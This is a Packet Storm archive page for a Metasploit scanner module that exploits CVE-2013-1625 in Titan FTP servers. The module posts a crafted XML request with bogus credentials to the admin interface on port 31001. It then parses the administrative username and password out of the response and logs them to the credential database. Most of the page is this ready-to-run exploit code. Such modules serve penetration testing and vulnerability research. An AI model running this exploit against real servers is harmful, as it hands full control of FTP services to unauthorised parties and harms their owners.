what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Titan FTP Administrative Password Disclosure

Titan FTP Administrative Password Disclosure
Posted Sep 1, 2024
Authored by Spencer McIntyre | Site metasploit.com

On Titan FTP servers prior to version 9.14.1628, an attacker can retrieve the username and password for the administrative XML-RPC interface, which listens on TCP Port 31001 by default, by sending an XML request containing bogus authentication information. After sending this request, the server responds with the legitimate username and password for the service. With this information, an attacker has complete control over the FTP service, which includes the ability to add and remove FTP users, as well as add, remove, and modify available directories and their permissions.

tags | exploit, tcp
advisories | CVE-2013-1625
SHA-256 | 9cb2dd621b853f0bf65b0c7e2b181281dd3360e122513e310b6ac58b7354eb61

Titan FTP Administrative Password Disclosure

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rexml/document'

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report

def initialize
super(
'Name' => 'Titan FTP Administrative Password Disclosure',
'Description' => %q{
On Titan FTP servers prior to version 9.14.1628, an attacker can
retrieve the username and password for the administrative XML-RPC
interface, which listens on TCP Port 31001 by default, by sending an
XML request containing bogus authentication information. After sending
this request, the server responds with the legitimate username and
password for the service. With this information, an attacker has
complete control over the FTP service, which includes the ability to
add and remove FTP users, as well as add, remove, and modify
available directories and their permissions.
},
'Author' =>
[
'Spencer McIntyre'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-1625' ]
]
)

register_options([Opt::RPORT(31001)])
end

def run_host(ip)
res = send_request_cgi(
{
'uri' => '/admin.dll',
'method' => 'POST',
'headers' => {
'SRT-WantXMLResponses' => 'true',
'SRT-XMLRequest' => 'true',
'Authorization' => 'Basic FAKEFAKE'
},
'data' => '<SRRequest><SRTarget>DOM</SRTarget><SRAction>GCFG</SRAction><SRServerName/><SRPayload></SRPayload></SRRequest>'
})
return if not res

if res.code == 400
vprint_status("#{ip}:#{datastore['RPORT']} - Server Responeded 400, It's Likely Patched")
return
elsif res.code != 200
vprint_status("#{ip}:#{datastore['RPORT']} - Server Responeded With An Unknown Response Code Of #{res.code}")
return
end

xml_data = res.body.strip
resp_root = REXML::Document.new(xml_data).root

srresponse = resp_root.elements.to_a("//SRResponse")[0]
srdomainparams = srresponse.elements.to_a("//SRDomainParams")[0]

info = {}
srdomainparams.elements.each do |node|
case node.name
when "DomainName"
info[:domain] = Rex::Text.uri_decode(node.text)
when "BaseDataDir"
info[:basedir] = Rex::Text.uri_decode(node.text)
when "CreationDate"
info[:username] = Rex::Text.uri_decode(node.text)
when "CreationTime"
info[:password] = Rex::Text.uri_decode(node.text)
end
end

if (info[:username] and info[:password])
if (info[:domain] and info[:basedir])
print_good("#{ip}:#{datastore['RPORT']} - Domain: #{info[:domain]}")
print_good("#{ip}:#{datastore['RPORT']} - Base Directory: #{info[:basedir]}")
end
print_good("#{ip}:#{datastore['RPORT']} - Admin Credentials: '#{info[:username]}:#{info[:password]}'")
report_cred(
ip: ip,
port: datastore['RPORT'],
user: info[:username],
password: info[:password],
service_name: 'ftp'
)
end
end

def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}

credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)

login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
}.merge(service_data)

create_credential_login(login_data)
end
end
Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close